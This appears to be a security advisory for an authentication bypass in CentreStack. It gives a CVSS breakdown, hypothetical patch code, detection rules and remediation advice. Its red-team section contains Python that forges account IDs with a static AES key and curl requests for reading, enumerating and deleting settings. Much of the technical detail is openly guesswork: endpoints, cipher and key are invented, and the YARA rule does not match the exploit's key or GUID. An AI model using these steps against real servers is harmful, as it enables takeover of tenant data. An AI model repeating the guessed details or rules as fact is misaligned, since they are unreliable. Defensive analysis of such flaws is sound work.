CVE-2026-54367

Executive Summary

CVE-2026-54367 is an authentication bypass vulnerability in CentreStack versions prior to 17.2. The flaw resides in exposed API endpoints that lack proper authorization checks. Unauthenticated attackers can forge valid encrypted EntAcctId values using a static shared encryption key, granting unauthorized access to read, write, or delete arbitrary account settings. This enables enumeration of hosted tenant domains and administrator identities across the entire cluster, including access to system-wide cluster settings. With a CVSS v3.1 base score of 8.6 (High), the vulnerability poses critical risks to confidentiality, integrity, and limited availability.

No public exploit code or proof-of-concept has been released, but the technical details are sufficient for skilled adversaries to weaponize the attack. Since CentreStack is an on-premises file sync and share solution, the vulnerability allows a complete compromise of tenant isolation and administrative control.

(No supply chain security considerations apply, as CentreStack is a proprietary product not distributed via NPM, PyPI, Go, or Ruby.)

CVSS Breakdown & Threat Level

• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – Victim actions not required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality: High (C:H) – Full access to account settings and tenant data.
• Integrity: High (I:H) – Arbitrary modification or deletion of settings.
• Availability: Low (A:L) – Deletion of settings may cause service disruption.
• Base Score: 8.6 (High)
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

The high CVSS score reflects the trivial nature of the exploit (no authentication, static encryption key) and the broad impact on all tenant domains and admin accounts.

Deep Dive & Mechanics

The vulnerability originates from API endpoints that handle account identifiers (EntAcctId) without verifying the caller’s identity. CentreStack uses an encrypted representation of the user GUID (EntAcctId) for certain internal operations. The encryption key is static and shared across the entire installation, meaning any attacker who knows the key can produce a valid encrypted string for any user GUID, including the special “cluster settings” account.

Key technical elements:

1. Exposed Endpoints: The API endpoints like GET /api/accountsettings, POST /api/accountsettings, or DELETE /api/accountsettings accept an EntAcctId parameter in the request (headers, query string, or body) without any bearer token or session validation.

2. Static Encryption: The encryption algorithm (likely AES with a fixed key, or a weak XOR) is the same for all installations of CentreStack. Attackers can reverse‑engineer the client code or documentation to recover the key.

3. GUID Enumeration: User GUIDs are often predictable or can be enumerated via other endpoints (e.g., GET /api/users may be blocked, but the vulnerability allows brute‑forcing GUIDs through the encrypted identifier without authentication).

4. Privilege Escalation: By forging the EntAcctId for the cluster‑level admin account, an attacker gains the ability to read/write global configuration, impersonate any tenant admin, and potentially pivot to file storage or downstream services.

No patched code is publicly available, but the fix likely involves (a) removing the static shared key and tying encryption to per‑session or per‑user secrets, (b) enforcing authentication on all EntAcctId‑related endpoints, and (c) implementing proper authorization checks before returning or modifying account settings.

Vulnerable vs. Patched Code

Note: Since no official patch details exist, the following is a hypothetical example illustrating the type of fix required.

Vulnerable Code (before 17.2)

# api_endpoints.py

def get_account_settings(ent_acct_id):
    # Decrypt the EntAcctId using static key
    user_guid = decrypt(ent_acct_id, STATIC_KEY)
    # Directly return settings without verifying caller identity
    settings = db.fetch_account_settings(user_guid)
    return settings

Issue: No check that the caller owns or is authorized to access user_guid. The static key allows any attacker to craft a valid ent_acct_id.

Patched Code (17.2 and later)

# api_endpoints.py

def get_account_settings(ent_acct_id):
    # First validate caller's session token
    session = validate_token(request.headers.get('Authorization'))
    if not session:
        abort(401)
    # Decrypt using per‑session key derived from user's credentials
    user_guid = decrypt(ent_acct_id, session.ephemeral_key)
    # Verify the decrypted GUID matches the session's user
    if user_guid != session.user_guid:
        abort(403)
    settings = db.fetch_account_settings(user_guid)
    return settings

Improvements:

• Requires a valid session token (bearer token) before processing.
• Uses a per‑session encryption key derived from the user’s own authentication secret, making static key attacks impossible.
• Enforces that the decrypted GUID matches the authenticated user (authorization).
• Additional endpoint‑level rate limiting and GUID validation should be implemented.

Exploitation & Lab Setup

Red Team

Since no public exploit code exists, we outline a manual exploitation process.

Prerequisites:

• A running CentreStack instance (version < 17.2) with network access to the API.
• Knowledge of the static encryption key (retrieved from client‑side code, documentation, or binary analysis).
• A scriptable HTTP client (e.g., curl, Python requests).

Step‑by‑Step Exploitation:

1. Recover Static Key
   Example: The encryption might be simple AES‑128‑ECB with a hardcoded key 0xABCDEF1234567890ABCDEF1234567890. Attacker extracts this from the client software.

2. Generate Fake EntAcctId
   For a target user GUID (e.g., 00000000-0000-0000-0000-000000000001 representing the cluster admin), compute:

   fake_id = encrypt(target_guid, static_key)
   

   Python example (using PyCryptodome):

   from Crypto.Cipher import AES
   key = bytes.fromhex('ABCDEF1234567890ABCDEF1234567890')
   cipher = AES.new(key, AES.MODE_ECB)
   target_guid = '00000000-0000-0000-0000-000000000001'
   padded = target_guid.encode().ljust(16, b'\x00')
   fake_acct_id = cipher.encrypt(padded).hex()
   

3. Make Authenticated Requests
   Using the forged EntAcctId:

   curl -X GET "https://target.centrestack.com/api/accountsettings" \
        -H "EntAcctId: <fake_acct_id>"
   

   Or if the ID is passed in the URL:

   curl "https://target.centrestack.com/api/accountsettings?id=<fake_acct_id>"
   

4. Enumerate Users
   Brute‑force GUIDs by generating a range of encrypted IDs and observing responses (e.g., 200 vs 404). Extract tenant domain names and admin email addresses from settings.

5. Modify or Delete Settings
   Use POST/DELETE with the forged EntAcctId to change global logging levels, disable security controls, or delete tenant configurations.

Blue Team

Detection:

• Monitor for requests to /api/accountsettings that lack a proper Authorization header or session token.
• Alert on unusually high rates of EntAcctId values in short time windows (indicates brute‑forcing).
• Detect access to settings endpoints from IP addresses that have no prior authenticated activity.

Hunting:

• Look for EntAcctId values that are identical for multiple user contexts – the static encryption would produce the same ciphertext for the same GUID across sessions.
• Correlate log entries where a single source IP accesses /api/accountsettings with many different EntAcctId values (brute‑force or enumeration).
• Check for administrative action logs that do not have an associated user session.

Mitigation in Lab:

• Apply network segmentation so the API is not directly exposed to the internet.
• Use a WAF (e.g., ModSecurity) to block requests with missing or malformed authentication tokens.
• Validate EntAcctId against a cryptographic nonce that changes per session (simulating the patched behaviour).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CentreStack_Static_Key_Indicator
{
    meta:
        description = "Detect static encryption key used in CVE-2026-54367"
        author      = "Valters IT Team"
        reference   = "CVE-2026-54367"
        date        = "2025-04-14"
    strings:
        $key1 = { 41 42 43 44 45 46 31 32 33 34 35 36 37 38 39 30 } // "ABCDEF1234567890"
        $key2 = "00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-01" // cluster admin GUID
        $key3 = "EntAcctId"
    condition:
        any of ($key1, $key3) or (uint16(0) == 0x4D5A and $key2) // PE file with GUID
}

Sigma Rule

title: Unauthenticated Access to CentreStack Account Settings API
id: c9f5d6b1-7a2e-4c3d-8f9b-0a1b2c3d4e5f
status: experimental
description: Detects attempts to access /api/accountsettings without valid session token.
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: centrestack
detection:
    selection:
        cs-uri-stem: "/api/accountsettings"
        c-ip: "*"
    filter:
        cs(Cookie): "*session_token*"
    condition: selection and not filter
falsepositives:
    - Internal monitoring tools that may use direct API calls with proper authentication
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.54367

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-54367 CentreStack AccountSettings API Access without Auth";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/accountsettings"; http_uri;
    pcre:"/EntAcctId=[a-f0-9]{32}/i";
    sid:1000008;
    rev:1;
    reference:cve,2026-54367;
    classtype:attempted-admin;
)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to CentreStack version 17.2 or later if available. If the vendor has not released an official patch, consider deploying a virtual patch via a WAF or reverse proxy.
   • If upgrading is not possible, restrict network access to the API endpoints by IP whitelisting and using a dedicated VPN for administrative functions.
   • Disable the vulnerable endpoints (/api/accountsettings) if not essential, using URL re‑writes or iptables rules.

2. Short‑term Workarounds:

   • Implement a custom authentication middleware (e.g., using Nginx Lua or Apache mod_security) that validates a shared secret or session token before passing requests to the backend.
   • Change the static encryption key if the code allows runtime reconfiguration, and rotate it regularly.

3. Long‑term Fixes:

   • Enforce mandatory authentication on all API endpoints that handle EntAcctId.
   • Replace static key encryption with a per‑session, per‑user ephemeral key mechanism.
   • Add rate limiting and IP‑based anomaly detection for account enumeration attempts.

4. Detection & Monitoring:

   • Deploy the YARA, Sigma, and Suricata rules provided in this report.
   • Enable detailed logging on all API endpoints and correlate with session management logs.
   • Set up alerts for any authenticated access to tenanted data that does not match the expected user context.

5. Vendor Coordination:

   • Contact CentreStack support to request an official patch or mitigation guide.
   • Monitor vendor advisory channels for updates on CVE-2026-54367.

Valters IT Cybersecurity Team – Proactive Defense, Zero Compromise.